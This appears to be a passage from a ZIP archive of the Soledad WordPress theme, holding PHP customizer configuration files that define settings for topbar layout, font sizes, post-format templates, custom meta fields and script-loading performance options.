	'id'       => 'penci_cpost_cmeta_enable',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Showing Custom Post Meta Fields', 'soledad' ),
	'description'=>__('Secperate with the commas','soledad'),
	'id'          => 'penci_cpost_cmeta_fields',
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Showing fields from Advanced Custom Fields plugin', 'soledad' ),
	'description'=>__('You can show your own custom fields easily by using the <a class="wp-customizer-link" href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.','soledad'),
	'id'          => 'penci_cpost_cmeta_acf',
	'type'        => 'soledad-fw-select',
	'multiple'    => 999,
	'choices'     => penci_get_afc_fields()
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Showing Custom Post Meta Label', 'soledad' ),
	'description'=>__('This option just applies for the fields from Advanced Custom Fields only.','soledad'),
	'id'          => 'penci_cpost_cmeta_label',
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => ':',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
	'id'       => 'penci_cpost_divider_cmeta_label',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     0w\    B  customizer/config/sections/penci_section_sidebar_fsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Sidebar Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_heading_size',
	'ids'         => array(
		'desktop' => 'penci_sidebar_heading_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '14',
		),
	),
);

return $options;
PK     0w\YX    E  customizer/config/sections/penci_section_speed_javascript_section.phpnu [        <?php
$options    = [];
$options[]  = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Minify JS from the Theme', 'soledad' ),
	'id'       => 'penci_speed_js_minify',
	'type'     => 'soledad-fw-toggle',
);
$options[]  = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove jQuery Migrate', 'soledad' ),
	'id'       => 'penci_speed_remove_jquery_migrate',
	'type'     => 'soledad-fw-toggle',
);
$options[]  = array(
	'id'          => 'penci_speed_delay_js',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Javascript Execution', 'soledad' ),
	'description' => __( "Delay execution of the targeted JS files until user interaction ( move mouse, click, scroll, touch,... ).", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[]  = array(
	'id'          => 'penci_speed_delay_js_adsense',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Google Ads', 'soledad' ),
	'description' => __( "Delay Google Adsense until first interaction.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$default_ex = "analytics.js
google-analytics
googletagmanager
analytics
gtag
jetpack
url://stats.wp.com
_stq.push
browser-redirect/app.js
id:-js-extra
et_core_page_resource_fallback
window.\$us === undefined
js-extra
fusionNavIsCollapsed
eio_lazy_vars
et_animation_data
wpforms_settings
var nfForms
//stats.wp.com
_stq.push
fluent_form_ff_form_instance_
cpLoadCSS
ninja_column_
var rbs_gallery_
var lepopup_
var billing_additional_field
var gtm4wp
var dataLayer_content
/ewww-image-optimizer/includes/load[_-]webp(\.min)?.js
/ewww-image-optimizer/includes/check-webp(\.min)?.js
ewww_webp_supported
/dist/js/browser-redirect/app.js
/perfmatters/js/lazyload.min.js
scripts.mediavine.com/tags/
initCubePortfolio
jetpack-lazy-images-js-enabled
jetpack-boost-critical-css";
$options[]  = array(
	'id'          => 'penci_speed_delay_js_excludes',
	'default'     => $default_ex,
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Scripts from Delay Execution', 'soledad' ),
	'description' => __( 'Enter one per line to exclude certain scripts from this optimizations, you can use ids of the scripts or a part from src attr from the scripts.<br/>Examples:', 'soledad' )
	                 . '<br/><code>id:my-js-id</code> or <code>a-part-from-src-attr</code>',
	'type'        => 'soledad-fw-textarea',
);
$options[]  = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Load deferred for JS files from the theme', 'soledad' ),
	'id'          => 'penci_speed_add_defer',
	'description' => __( "This option will help you add defer='defer' attr to JS files from the theme", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[]  = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Manually add JS name(s) to load defer="defer"', 'soledad' ),
	'id'          => 'penci_speed_add_more_defer',
	'description' => __( "You can manage to add JS you want to load defer='defer' here, use JS name(s) & separated by commas.<br>Example: <strong>js-name-a, js-name-b</strong><br><strong>The JS name</strong> is \$handle string use inside <a class='wp-customizer-link' href='https://developer.wordpress.org/reference/functions/wp_enqueue_script/' target='_blank'>wp_enqueue_script</a> function", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     0w\Ȼ;  ;  J  customizer/config/sections/pencidesign_topbar_section_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for General Text on Topbar', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_topbar_ctsize',
	'ids'      => array(
		'desktop' => 'penci_topbar_ctsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Top Posts" text', 'soledad' ),
	'id'       => 'penci_top_bar_top_post_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_top_post_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Titles on "Top Posts"', 'soledad' ),
	'id'       => 'penci_top_bar_top_post_size_title',
	'ids'      => array(
		'desktop' => 'penci_top_bar_top_post_size_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Topbar Menu Level 1', 'soledad' ),
	'id'       => 'penci_top_bar_menu_level_one',
	'ids'      => array(
		'desktop' => 'penci_top_bar_menu_level_one',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Sub-menu on Topbar Menu', 'soledad' ),
	'id'       => 'penci_top_bar_sub_menu_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_sub_menu_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Social Icons on Topbar', 'soledad' ),
	'id'       => 'penci_top_bar_social_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_social_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Popup Form', 'soledad' ),
	'id'       => 'penci_lgpop_form_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_tbpop_title_size_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '22',
);
$options[] = array(
	'label'    => __( 'Font Size for Titles', 'soledad' ),
	'id'       => 'penci_tbpop_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_tbpop_title_size',
		'mobile'  => 'penci_tbpop_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '22',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Input Fields', 'soledad' ),
	'id'       => 'penci_tbpop_inputfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_inputfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Submit Buttons', 'soledad' ),
	'id'       => 'penci_tbpop_submitfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_submitfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Text/Links', 'soledad' ),
	'id'       => 'penci_tbpop_textfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_textfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\    K  customizer/config/sections/penci_section_spost_pformats_builder_section.phpnu [        <?php
$options = [];

$single_layout     = [];
$single_layout[''] = esc_attr__( 'None' );
$single_layouts    = get_posts( [
	'post_type'      => 'custom-post-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $single_layouts as $slayout ) {
	$single_layout[ $slayout->post_name ] = $slayout->post_title;
}

$post_formats = [
	'aside'   => 'Aside',
	'chat'    => 'Chat',
	'gallery' => 'Gallery',
	'link'    => 'Link',
	'image'   => 'Image',
	'quote'   => 'Quote',
	'status'  => 'Status',
	'video'   => 'Video',
	'audio'   => 'Audio',
];

if ( ! empty( $post_formats ) ) {

	foreach ( $post_formats as $format => $label ) {

		$options[] = array(
			'default'     => '',
			'description' => __( 'This option will override the single post template. You can add new and edit a builder template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>.', 'soledad' ),
			'sanitize'    => 'penci_sanitize_choices_field',
			'label'       => __( $label . ' Posts Format Template', 'soledad' ),
			'id'          => 'penci_' . $format . '_custom_template',
			'type'        => 'soledad-fw-select',
			'choices'     => $single_layout
		);
	}
}

return $options;PK     0w\IajWH  WH  E  customizer/config/sections/pencidesign_new_section_topbar_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_show',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Top Bar on Mobile', 'soledad' ),
	'id'       => 'penci_top_bar_hmobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Full Width Container for Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_full_width',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Container 1400px for Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_1400',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'toptext-topposts-topmenu-topsocial',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Re-order elements on Topbar', 'soledad' ),
	'id'          => 'penci_topbar_ordersec',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'toptext-topposts-topmenu-topsocial' => __('Custom Text - Top Posts - Topbar Menu - Social Icons','soledad' ),
		'toptext-topposts-topsocial-topmenu' => __('Custom Text - Top Posts - Social Icons - Topbar Menu','soledad' ),
		'toptext-topsocial-topposts-topmenu' => __('Custom Text - Social Icons - Top Posts - Topbar Menu','soledad' ),
		'toptext-topsocial-topmenu-topposts' => __('Custom Text - Social Icons - Topbar Menu - Top Posts','soledad' ),
		'toptext-topmenu-topsocial-topposts' => __('Custom Text - Topbar Menu - Social Icons - Top Posts','soledad' ),
		'toptext-topmenu-topposts-topsocial' => __('Custom Text - Topbar Menu - Top Posts - Social Icons','soledad' ),
		'topposts-toptext-topmenu-topsocial' => __('Top Posts - Custom Text - Topbar Menu - Social Icons','soledad' ),
		'topposts-toptext-topsocial-topmenu' => __('Top Posts - Custom Text - Social Icons - Topbar Menu','soledad' ),
		'topposts-topsocial-toptext-topmenu' => __('Top Posts - Social Icons - Custom Text - Topbar Menu','soledad' ),
		'topposts-topsocial-topmenu-toptext' => __('Top Posts - Social Icons - Topbar Menu - Custom Text','soledad' ),
		'topposts-topmenu-topsocial-toptext' => __('Top Posts - Topbar Menu - Social Icons - Custom Text','soledad' ),
		'topposts-topmenu-toptext-topsocial' => __('Top Posts - Topbar Menu - Custom Text - Social Icons','soledad' ),
		'topmenu-toptext-topsocial-topposts' => __('Topbar Menu - Custom Text - Social Icons - Top Posts','soledad' ),
		'topmenu-toptext-topposts-topsocial' => __('Topbar Menu - Custom Text - Top Posts - Social Icons','soledad' ),
		'topmenu-topsocial-toptext-topposts' => __('Topbar Menu - Social Icons - Custom Text - Top Posts','soledad' ),
		'topmenu-topsocial-topposts-toptext' => __('Topbar Menu - Social Icons - Top Posts - Custom Text','soledad' ),
		'topmenu-topposts-toptext-topsocial' => __('Topbar Menu - Top Posts - Custom Text - Social Icons','soledad' ),
		'topmenu-topposts-topsocial-toptext' => __('Topbar Menu - Top Posts - Social Icons - Custom Text','soledad' ),
		'topsocial-toptext-topposts-topmenu' => __('Social Icons - Custom Text - Top Posts - Topbar Menu','soledad' ),
		'topsocial-toptext-topmenu-topposts' => __('Social Icons - Custom Text - Topbar Menu - Top Posts','soledad' ),
		'topsocial-topposts-topmenu-toptext' => __('Social Icons - Top Posts - Topbar Menu - Custom Text','soledad' ),
		'topsocial-topposts-toptext-topmenu' => __('Social Icons - Top Posts - Custom Text - Topbar Menu','soledad' ),
		'topsocial-topmenu-toptext-topposts' => __('Social Icons - Topbar Menu - Custom Text - Top Posts','soledad' ),
		'topsocial-topmenu-topposts-toptext' => __('Social Icons - Topbar Menu - Top Posts - Custom Text','soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Topbar Current Date/Custom Text', 'soledad' ),
	'id'       => 'penci_tbctext_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Topbar Custom Text', 'soledad' ),
	'id'       => 'penci_tbtext_enable',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Topbar Custom Text on Mobile', 'soledad' ),
	'id'       => 'penci_tbtext_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => "[penci_date format='l, F j Y'] - Welcome",
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Custom Text', 'soledad' ),
	'id'          => 'penci_tb_date_text',
	'description' => "If you want to show today's date - you can use shortcode <strong>[penci_date format='l, F j Y']</strong> - inside the custom text. Change format 'l, F j Y' to the date format you want. You can check more about date/time format <a class='wp-customizer-link' href='https://wordpress.org/support/article/formatting-date-and-time/' target='_blank'>here</a>",
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Top Posts/News Ticker', 'soledad' ),
	'id'       => 'penci_tbtoppost_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show "Top Posts" Section', 'soledad' ),
	'id'       => 'penci_toppost_enable',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show "Top Posts" on Mobile', 'soledad' ),
	'id'       => 'penci_toppost_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toppost_width_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Max-Width for "Top Posts"', 'soledad' ),
	'id'       => 'penci_toppost_width',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toppost_width',
		'mobile'  => 'penci_toppost_width_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => esc_html__( 'Top Posts', 'soledad' ),
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom "Top Posts" Text', 'soledad' ),
	'id'          => 'penci_top_bar_custom_text',
	'description' => __( 'If you want hide Top Posts text, let empty this', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Style for "Top Posts" Text', 'soledad' ),
	'id'       => 'penci_top_bar_custom_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                => __('Default Style','soledad' ),
		'nticker-style-2' => __('Style 2','soledad' ),
		'nticker-style-3' => __('Style 3','soledad' ),
		'nticker-style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( '"Top Posts" Transition Animation', 'soledad' ),
	'id'       => 'penci_top_bar_animation',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __('Slide In Up','soledad' ),
		'slideInRight' => __('Fade In Right','soledad' ),
		'fadeIn'       => __('Fade In','soledad' ),
		'marquee'      => __('Marquee','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase for "Top Posts" text', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Top Posts By', 'soledad' ),
	'id'       => 'penci_top_bar_display_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array_merge(penci_jetpack_option(),array(
		''      => __('Recent Posts','soledad' ),
		'all'   => __('Popular Posts All Time','soledad' ),
		'week'  => __('Popular Posts Once Weekly','soledad' ),
		'month' => __('Popular Posts Once Month','soledad' ),
	))
);
$options[] = array(
	'default'  => 'category',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Filter Topbar By', 'soledad' ),
	'id'       => 'penci_top_bar_filter_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'category' => __('Category','soledad' ),
		'tags'     => __('Tags','soledad' ),
	)
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select "Top Posts" Category', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'id'          => 'penci_top_bar_category',
	'description' => __( 'This option just apply when you select "Filter Topbar by" Category above', 'soledad' ),
	'choices'     => call_user_func( function () {
		$category = [ '' ];
		$count    = wp_count_terms( 'category' );
		$limit    = 99;
		if ( (int) $count <= $limit ) {
			$categories = get_categories( [
				'hide_empty'   => false,
				'hierarchical' => true,
			] );
			foreach ( $categories as $value ) {
				$category[ $value->term_id ] = $value->name;
			}
		} else {
			$selected = get_theme_mod( 'penci_top_bar_category' );
			if ( ! empty( $selected ) ) {
				$categories = get_categories( [
					'hide_empty'   => false,
					'hierarchical' => true,
					'include'      => $selected,
				] );

				foreach ( $categories as $value ) {
					$category[ $value->term_id ] = $value->name;
				}
			}
		}

		return $category;
	} ),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Fill List Tags for Filter by Tags on "Top Post"', 'soledad' ),
	'id'          => 'penci_top_bar_tags',
	'description' => __( 'This option just apply when you select "Filter Topbar by" Tags above. And please fill list featured tags slug here, check <a class="wp-customizer-link" rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Top Posts', 'soledad' ),
	'id'       => 'penci_top_bar_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles', 'soledad' ),
	'id'       => 'penci_top_bar_off_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Auto Play', 'soledad' ),
	'id'       => 'penci_top_bar_posts_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '3000',
	'sanitize'    => 'absint',
	'label'       => __( 'Autoplay Timeout', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_top_bar_auto_time',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_top_bar_auto_time',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3000',
		),
	),
);
$options[] = array(
	'default'     => '300',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Autoplay Speed', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_top_bar_auto_speed',
	'ids'         => array(
		'desktop' => 'penci_top_bar_auto_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '300',
		),
	),
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'label'    => __( 'Amount of Posts Display on Top Posts', 'soledad' ),
	'id'       => 'penci_top_bar_posts_per_page',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_posts_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Topbar Menu', 'soledad' ),
	'id'       => 'penci_tbmenu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Topbar Menu', 'soledad' ),
	'description' => __( 'If you enable topbar menu, you need go to Dashboard > Appearance > Menus > create/select a menu for your topbar > scroll down and check to "Topbar Menu" at the bottom', 'soledad' ),
	'id'          => 'penci_top_bar_enable_menu',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Topbar Menu on Mobile', 'soledad' ),
	'id'       => 'penci_tbmenu_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Topbar Menu', 'soledad' ),
	'id'       => 'penci_top_bar_off_uppercase_menu',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Social Media / Login & Register Popup', 'soledad' ),
	'id'       => 'penci_tbsocial_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons on Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_hide_social',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Use Brand Colors for Social Icons on Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_brand_social',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Display Login/Register?', 'soledad' ),
	'description' => __( 'Note that: By default, the register form is disabled, if you want to enable it, please go to Dashboard > Settings > General > on "Membership" check to "Anyone can register" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/register.png" target="_blank">this image</a> for more.<br>And if you want to add captcha for Login/Register form, you can use <a class="wp-customizer-link" href="https://wordpress.org/plugins/login-security-recaptcha/" target="_blank">this plugin</a> - this theme supports Google reCaptcha v2 from this plugin.', 'soledad' ),
	'id'          => 'penci_tblogin',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''      => __('None','soledad' ),
		'left'  => __('On the left social icons','soledad' ),
		'right' => __('On the right social icons','soledad' ),
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Redirect to a custom URL after logging in.', 'soledad' ),
	'description' => __( 'By default, after successfully logging in, the user will be redirected to the current page URL. You can enter a different URL in this field to redirect the user to another page.', 'soledad' ),
	'id'          => 'penci_tblogin_redirect_url',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Add Login Text', 'soledad' ),
	'description' => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'id'          => 'penci_tblogin_text',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons & Login on Mobile', 'soledad' ),
	'id'       => 'penci_tbsocial_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn off uppercase for titles on login/register popup', 'soledad' ),
	'id'       => 'penci_tblogin_titleupper',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn off uppercase for submit buttons on login/register popup', 'soledad' ),
	'id'       => 'penci_tblogin_submitupper',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login & Register Popup', 'soledad' ),
	'id'       => 'penci_tbsocial_heading_02',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide the Name Fields', 'soledad' ),
	'id'       => 'penci_tblogin_hide_name',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable the Phone Field', 'soledad' ),
	'id'       => 'penci_tblogin_show_phone',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable the checkbox to agree to the "Terms and Conditions."', 'soledad' ),
	'id'       => 'penci_tblogin_show_checkbox',
	'type'     => 'soledad-fw-toggle',
);
return $options;
